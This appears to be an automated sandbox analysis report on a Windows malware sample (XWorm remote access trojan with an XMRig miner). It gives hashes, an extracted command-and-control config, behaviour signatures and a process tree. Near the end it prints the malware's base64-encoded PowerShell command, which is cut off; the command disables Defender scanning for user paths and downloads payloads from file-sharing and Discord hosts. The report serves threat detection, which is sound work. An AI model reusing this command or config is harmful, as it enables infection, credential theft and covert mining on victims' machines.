xmrig | d890053afb96a1ac356f84aa2fb2d0836214a6c8f8e10510fb323176a834bd1d

Analysis

max time kernel
133s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
23/05/2024, 22:33

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
TrinityV2.exe
Size 516KB
Sample240523-2gnj2abe7s
SHA256 d890053afb96a1ac356f84aa2fb2d0836214a6c8f8e10510fb323176a834bd1d
MD5 52a09173e98f9e48f2e6d048e58869b3
SHA1 e42d828c493400449a8470936d9208da836ae268
SHA512 90365b74b9b7bf21e47700ac85380736fe688cc8a844cc12f1388b7908517b214af0952dc5842f7291c836bb975aece09aaff195739553ea38bb2c2b27d9cd65
SSDEEP 1536:ZBDr7jIGwi0VzRDWcQjK1/41D0jZ0VzRDWcQjK1/41D0jrCtVcl:wrDFJ41D0jmrDFJ41D0jrC/Y
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig xworm evasion execution miner persistence pyinstaller rat spyware stealer trojan upx

Malware Config

Extracted

Family

xworm

Version

19.ip.gl.ply.gg:32712

Mutex

Pzty25hnZjK5ZOPd

Attributes

Install_directory
%AppData%
install_file
Users.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/4968-366-0x0000000007600000-0x0000000007628000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 9 IoCs

miner

resource	yara_rule
behavioral2/memory/3248-640-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/3248-647-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/3248-646-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/3248-645-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/3248-644-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/3248-643-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/3248-641-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/3248-1334-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/3248-1335-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig

Blocklisted process makes network request 7 IoCs

flow	pid	Process
37	3948	powershell.exe
41	3948	powershell.exe
47	3948	powershell.exe
51	3948	powershell.exe
53	3948	powershell.exe
90	4968	powershell.exe
96	4968	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4304	powershell.exe
400	powershell.exe
2876	powershell.exe
1508	powershell.exe
5052	powershell.exe
2496	powershell.exe
1800	powershell.exe
3656	powershell.exe
3684	powershell.exe
4356	powershell.exe
3000	powershell.exe
216	powershell.exe
2276	powershell.exe
4260	powershell.exe
2408	powershell.exe
4112	powershell.exe
3412	powershell.exe
3916	powershell.exe
2236	powershell.exe
3644	powershell.exe
3640	powershell.exe
4220	powershell.exe
2516	powershell.exe
4116	powershell.exe
2128	powershell.exe
4304	powershell.exe
4260	powershell.exe
3532	powershell.exe
2000	powershell.exe
2592	powershell.exe
4568	powershell.exe
2472	powershell.exe
4344	powershell.exe
1968	powershell.exe
4532	powershell.exe
1368	powershell.exe
2068	powershell.exe
1172	powershell.exe
1900	powershell.exe
2700	powershell.exe
2200	powershell.exe
4356	powershell.exe
1172	powershell.exe
2932	powershell.exe
5032	powershell.exe
2360	powershell.exe
232	powershell.exe
1568	powershell.exe
2032	powershell.exe
2128	powershell.exe
3956	powershell.exe
2496	powershell.exe
2420	powershell.exe
3884	powershell.exe
1672	powershell.exe
1004	powershell.exe
4324	powershell.exe
2700	powershell.exe
2704	powershell.exe
1032	powershell.exe
4508	powershell.exe
1508	powershell.exe
668	powershell.exe
1080	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Downloads MZ/PE file
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	Microsoft.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 5 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Bypass.exe	Bypass.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsDefender.vbs	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsDefender.vbs	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Users.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Users.lnk	powershell.exe

Executes dropped EXE 7 IoCs

pid	Process
2116	Microsoft.exe
2708	GoogleChrome.exe
3272	Userz.exe
2588	Userz.exe
4888	Bypass.exe
4320	Bypass.exe
5052	acdfownevzxz.exe

Loads dropped DLL 48 IoCs

pid	Process
2588	Userz.exe
2588	Userz.exe
2588	Userz.exe
2588	Userz.exe
4320	Bypass.exe
4320	Bypass.exe
4320	Bypass.exe
4320	Bypass.exe
4320	Bypass.exe
4320	Bypass.exe
4320	Bypass.exe
4320	Bypass.exe
4320	Bypass.exe
4320	Bypass.exe
4320	Bypass.exe
4320	Bypass.exe
4320	Bypass.exe
4320	Bypass.exe
4320	Bypass.exe
4320	Bypass.exe
4320	Bypass.exe
4320	Bypass.exe
4320	Bypass.exe
4320	Bypass.exe
4320	Bypass.exe
4320	Bypass.exe
4320	Bypass.exe
4320	Bypass.exe
4320	Bypass.exe
4320	Bypass.exe
4320	Bypass.exe
4320	Bypass.exe
4320	Bypass.exe
4320	Bypass.exe
4320	Bypass.exe
4320	Bypass.exe
4320	Bypass.exe
4320	Bypass.exe
4320	Bypass.exe
4320	Bypass.exe
4320	Bypass.exe
4320	Bypass.exe
4320	Bypass.exe
4320	Bypass.exe
4320	Bypass.exe
4320	Bypass.exe
4320	Bypass.exe
4320	Bypass.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 14 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3248-640-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3248-647-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3248-646-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3248-645-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3248-644-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3248-643-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3248-641-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3248-639-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3248-638-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3248-635-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3248-636-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3248-637-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3248-1334-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3248-1335-0x0000000140000000-0x0000000140848000-memory.dmp	upx

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\CLPPTH = "C:\\Users\\Admin\\AppData\\Roaming\\CLPPTH\\clppth.exe"	Userz.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs

Web Service

T1102

flow	ioc
82	discord.com
35	discord.com
36	discord.com
63	discord.com
80	discord.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
57	api.ipify.org
56	api.ipify.org

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\MRT.exe	GoogleChrome.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	acdfownevzxz.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 5052 set thread context of 3652	5052	acdfownevzxz.exe	193
PID 5052 set thread context of 3248	5052	acdfownevzxz.exe	195

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2188	sc.exe
4472	sc.exe
4964	sc.exe
3412	sc.exe

Detects Pyinstaller 2 IoCs

pyinstaller

resource	yara_rule
behavioral2/files/0x0008000000023401-73.dat	pyinstaller
behavioral2/files/0x0007000000023403-79.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
3024	tasklist.exe

Modifies data under HKEY_USERS 46 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3948	powershell.exe
3948	powershell.exe
2872	powershell.exe
2872	powershell.exe
2000	powershell.exe
2000	powershell.exe
1632	powershell.exe
1632	powershell.exe
4000	powershell.exe
4000	powershell.exe
4832	powershell.exe
4832	powershell.exe
4832	powershell.exe
4968	powershell.exe
4968	powershell.exe
4304	powershell.exe
4304	powershell.exe
4304	powershell.exe
4324	powershell.exe
4324	powershell.exe
4324	powershell.exe
3728	powershell.exe
3728	powershell.exe
3728	powershell.exe
232	powershell.exe
232	powershell.exe
232	powershell.exe
3672	powershell.exe
3672	powershell.exe
1368	powershell.exe
1368	powershell.exe
2104	powershell.exe
2104	powershell.exe
3884	powershell.exe
3884	powershell.exe
4092	powershell.exe
4092	powershell.exe
2700	powershell.exe
2700	powershell.exe
4820	powershell.exe
4820	powershell.exe
1508	powershell.exe
1508	powershell.exe
2496	powershell.exe
668	powershell.exe
668	powershell.exe
2496	powershell.exe
1368	powershell.exe
2708	GoogleChrome.exe
4304	powershell.exe
4304	powershell.exe
1368	powershell.exe
1368	powershell.exe
4304	powershell.exe
2708	GoogleChrome.exe
2708	GoogleChrome.exe
2316	powershell.exe
2316	powershell.exe
2708	GoogleChrome.exe
2708	GoogleChrome.exe
2708	GoogleChrome.exe
2316	powershell.exe
5052	acdfownevzxz.exe
400	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4444	TrinityV2.exe
Token: SeDebugPrivilege	3948	powershell.exe
Token: SeDebugPrivilege	2872	powershell.exe
Token: SeDebugPrivilege	3024	tasklist.exe
Token: SeDebugPrivilege	2000	powershell.exe
Token: SeDebugPrivilege	1632	powershell.exe
Token: SeDebugPrivilege	4000	powershell.exe
Token: SeDebugPrivilege	4832	powershell.exe
Token: SeDebugPrivilege	4968	powershell.exe
Token: SeDebugPrivilege	4304	powershell.exe
Token: SeDebugPrivilege	4324	powershell.exe
Token: SeDebugPrivilege	3728	powershell.exe
Token: SeDebugPrivilege	232	powershell.exe
Token: SeDebugPrivilege	3672	powershell.exe
Token: SeDebugPrivilege	1368	powershell.exe
Token: SeDebugPrivilege	2104	powershell.exe
Token: SeDebugPrivilege	3884	powershell.exe
Token: SeDebugPrivilege	4092	powershell.exe
Token: SeDebugPrivilege	2700	powershell.exe
Token: SeDebugPrivilege	4820	powershell.exe
Token: SeDebugPrivilege	1508	powershell.exe
Token: SeDebugPrivilege	2496	powershell.exe
Token: SeDebugPrivilege	668	powershell.exe
Token: SeDebugPrivilege	1368	powershell.exe
Token: SeDebugPrivilege	4304	powershell.exe
Token: SeDebugPrivilege	2316	powershell.exe
Token: SeDebugPrivilege	400	powershell.exe
Token: SeDebugPrivilege	3916	powershell.exe
Token: SeDebugPrivilege	2876	powershell.exe
Token: SeDebugPrivilege	1568	powershell.exe
Token: SeLockMemoryPrivilege	3248	explorer.exe
Token: SeDebugPrivilege	4576	powershell.exe
Token: SeDebugPrivilege	2592	powershell.exe
Token: SeDebugPrivilege	1508	powershell.exe
Token: SeDebugPrivilege	3528	powershell.exe
Token: SeDebugPrivilege	4240	powershell.exe
Token: SeDebugPrivilege	2472	powershell.exe
Token: SeDebugPrivilege	5052	powershell.exe
Token: SeDebugPrivilege	1976	powershell.exe
Token: SeDebugPrivilege	3208	powershell.exe
Token: SeDebugPrivilege	3760	powershell.exe
Token: SeDebugPrivilege	1552	powershell.exe
Token: SeDebugPrivilege	4356	powershell.exe
Token: SeDebugPrivilege	4968	powershell.exe
Token: SeDebugPrivilege	3508	powershell.exe
Token: SeDebugPrivilege	4320	powershell.exe
Token: SeDebugPrivilege	4908	powershell.exe
Token: SeDebugPrivilege	1720	powershell.exe
Token: SeDebugPrivilege	4112	powershell.exe
Token: SeDebugPrivilege	4344	powershell.exe
Token: SeDebugPrivilege	3548	powershell.exe
Token: SeDebugPrivilege	1328	powershell.exe
Token: SeDebugPrivilege	3640	powershell.exe
Token: SeDebugPrivilege	4008	powershell.exe
Token: SeDebugPrivilege	3656	powershell.exe
Token: SeDebugPrivilege	2080	powershell.exe
Token: SeDebugPrivilege	4520	powershell.exe
Token: SeDebugPrivilege	3824	powershell.exe
Token: SeDebugPrivilege	2236	powershell.exe
Token: SeDebugPrivilege	1684	powershell.exe
Token: SeDebugPrivilege	1228	powershell.exe
Token: SeDebugPrivilege	3644	powershell.exe
Token: SeDebugPrivilege	3588	powershell.exe
Token: SeDebugPrivilege	2276	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4968	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4444 wrote to memory of 2116	4444	TrinityV2.exe	92
PID 4444 wrote to memory of 2116	4444	TrinityV2.exe	92
PID 4444 wrote to memory of 2116	4444	TrinityV2.exe	92
PID 2116 wrote to memory of 3948	2116	Microsoft.exe	93
PID 2116 wrote to memory of 3948	2116	Microsoft.exe	93
PID 2116 wrote to memory of 3948	2116	Microsoft.exe	93
PID 3948 wrote to memory of 2708	3948	powershell.exe	96
PID 3948 wrote to memory of 2708	3948	powershell.exe	96
PID 3948 wrote to memory of 3272	3948	powershell.exe	97
PID 3948 wrote to memory of 3272	3948	powershell.exe	97
PID 3272 wrote to memory of 2588	3272	Userz.exe	99
PID 3272 wrote to memory of 2588	3272	Userz.exe	99
PID 3948 wrote to memory of 4888	3948	powershell.exe	98
PID 3948 wrote to memory of 4888	3948	powershell.exe	98
PID 2588 wrote to memory of 2872	2588	Userz.exe	100
PID 2588 wrote to memory of 2872	2588	Userz.exe	100
PID 3948 wrote to memory of 4244	3948	powershell.exe	101
PID 3948 wrote to memory of 4244	3948	powershell.exe	101
PID 3948 wrote to memory of 4244	3948	powershell.exe	101
PID 4888 wrote to memory of 4320	4888	Bypass.exe	103
PID 4888 wrote to memory of 4320	4888	Bypass.exe	103
PID 2588 wrote to memory of 2000	2588	Userz.exe	104
PID 2588 wrote to memory of 2000	2588	Userz.exe	104
PID 4320 wrote to memory of 3208	4320	Bypass.exe	106
PID 4320 wrote to memory of 3208	4320	Bypass.exe	106
PID 3208 wrote to memory of 3024	3208	cmd.exe	108
PID 3208 wrote to memory of 3024	3208	cmd.exe	108
PID 4320 wrote to memory of 5020	4320	Bypass.exe	109
PID 4320 wrote to memory of 5020	4320	Bypass.exe	109
PID 2588 wrote to memory of 1632	2588	Userz.exe	111
PID 2588 wrote to memory of 1632	2588	Userz.exe	111
PID 5020 wrote to memory of 2176	5020	cmd.exe	113
PID 5020 wrote to memory of 2176	5020	cmd.exe	113
PID 4320 wrote to memory of 2856	4320	Bypass.exe	114
PID 4320 wrote to memory of 2856	4320	Bypass.exe	114
PID 2856 wrote to memory of 1880	2856	cmd.exe	116
PID 2856 wrote to memory of 1880	2856	cmd.exe	116
PID 2588 wrote to memory of 4000	2588	Userz.exe	117
PID 2588 wrote to memory of 4000	2588	Userz.exe	117
PID 4320 wrote to memory of 1048	4320	Bypass.exe	119
PID 4320 wrote to memory of 1048	4320	Bypass.exe	119
PID 1048 wrote to memory of 4048	1048	cmd.exe	121
PID 1048 wrote to memory of 4048	1048	cmd.exe	121
PID 4320 wrote to memory of 2308	4320	Bypass.exe	122
PID 4320 wrote to memory of 2308	4320	Bypass.exe	122
PID 2588 wrote to memory of 4832	2588	Userz.exe	124
PID 2588 wrote to memory of 4832	2588	Userz.exe	124
PID 2308 wrote to memory of 3128	2308	cmd.exe	126
PID 2308 wrote to memory of 3128	2308	cmd.exe	126
PID 4320 wrote to memory of 1080	4320	Bypass.exe	127
PID 4320 wrote to memory of 1080	4320	Bypass.exe	127
PID 4244 wrote to memory of 4968	4244	WScript.exe	129
PID 4244 wrote to memory of 4968	4244	WScript.exe	129
PID 4244 wrote to memory of 4968	4244	WScript.exe	129
PID 1080 wrote to memory of 612	1080	cmd.exe	131
PID 1080 wrote to memory of 612	1080	cmd.exe	131
PID 2588 wrote to memory of 4304	2588	Userz.exe	132
PID 2588 wrote to memory of 4304	2588	Userz.exe	132
PID 4320 wrote to memory of 2316	4320	Bypass.exe	134
PID 4320 wrote to memory of 2316	4320	Bypass.exe	134
PID 2316 wrote to memory of 4796	2316	cmd.exe	136
PID 2316 wrote to memory of 4796	2316	cmd.exe	136
PID 2588 wrote to memory of 4324	2588	Userz.exe	137
PID 2588 wrote to memory of 4324	2588	Userz.exe	137

C:\Users\Admin\AppData\Local\Temp\TrinityV2.exe
"C:\Users\Admin\AppData\Local\Temp\TrinityV2.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4444
- C:\Users\Admin\AppData\Roaming\Microsoft.exe
  "C:\Users\Admin\AppData\Roaming\Microsoft.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2116
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAbQB2ACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAdQBhAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBiAGcAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcABoAHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGYAaQBsAGUAdAByAGEAbgBzAGYAZQByAC4AaQBvAC8AZABhAHQAYQAtAHAAYQBjAGsAYQBnAGUALwBvAHYAZQA1AFUAZQBEAGUALwBkAG8AdwBuAGwAbwBhAGQAJwAsACAAPAAjAHoAcABiACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAegB2AGsAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAdAB6AGsAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcARwBvAG8AZwBsAGUAQwBoAHIAbwBtAGUALgBlAHgAZQAnACkAKQA8ACMAaQByAHkAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AZgBpAGwAZQB0AHIAYQBuAHMAZgBlAHIALgBpAG8ALwBkAGEAdABhAC0AcABhAGMAawBhAGcAZQAvADMAaABNAE8AbwBqAGYARAAvAGQAbwB3AG4AbABvAGEAZAAnACwAIAA8ACMAdgBoAHgAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBmAHEAcgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBlAGIAdAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBVAHMAZQByAHoALgBlAHgAZQAnACkAKQA8ACMAagBjAGsAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AZgBpAGwAZQB0AHIAYQBuAHMAZgBlAHIALgBpAG8ALwBkAGEAdABhAC0AcABhAGMAawBhAGcAZQAvAG8AeQBxAEIAUABZAG4AUwAvAGQAbwB3AG4AbABvAGEAZAAnACwAIAA8ACMAZABkAHcAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBmAHoAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwB2AHMAdAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBCAHkAcABhAHMAcwAuAGUAeABlACcAKQApADwAIwB3AGgAcgAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAGQAbgAuAGQAaQBzAGMAbwByAGQAYQBwAHAALgBjAG8AbQAvAGEAdAB0AGEAYwBoAG0AZQBuAHQAcwAvADEAMQA5ADAANwAwADUAMQA5ADQANAAzADAAOAA5ADQAMQA4ADIALwAxADIANAAxADQANwAxADYAOAAwADkANwA5ADkAMwAxADIAOQA5AC8ARgBVAEQALgB2AGIAcwA/AGUAeAA9ADYANgA1ADAANAAwAGQAYQAmAGkAcwA9ADYANgA0AGUAZQBmADUAYQAmAGgAbQA9ADgAYQBkAGMANQAwADgANQBlADcAYwBiADQAOQBhADAAOAA0ADAANAA0ADAAMgA4ADAAMABiAGEAYQAzADEAMQA1ADYAZAA1AGYAMQA3ADQAZgBlADUANwA3AGIAYwBlAGIAZgA2ADAAMwBkADIAMwBmADQAMABkAGQAYwBiAGQAJgAnACwAIAA8ACMAcgB6AG4AIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBtAGUAZAAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBxAG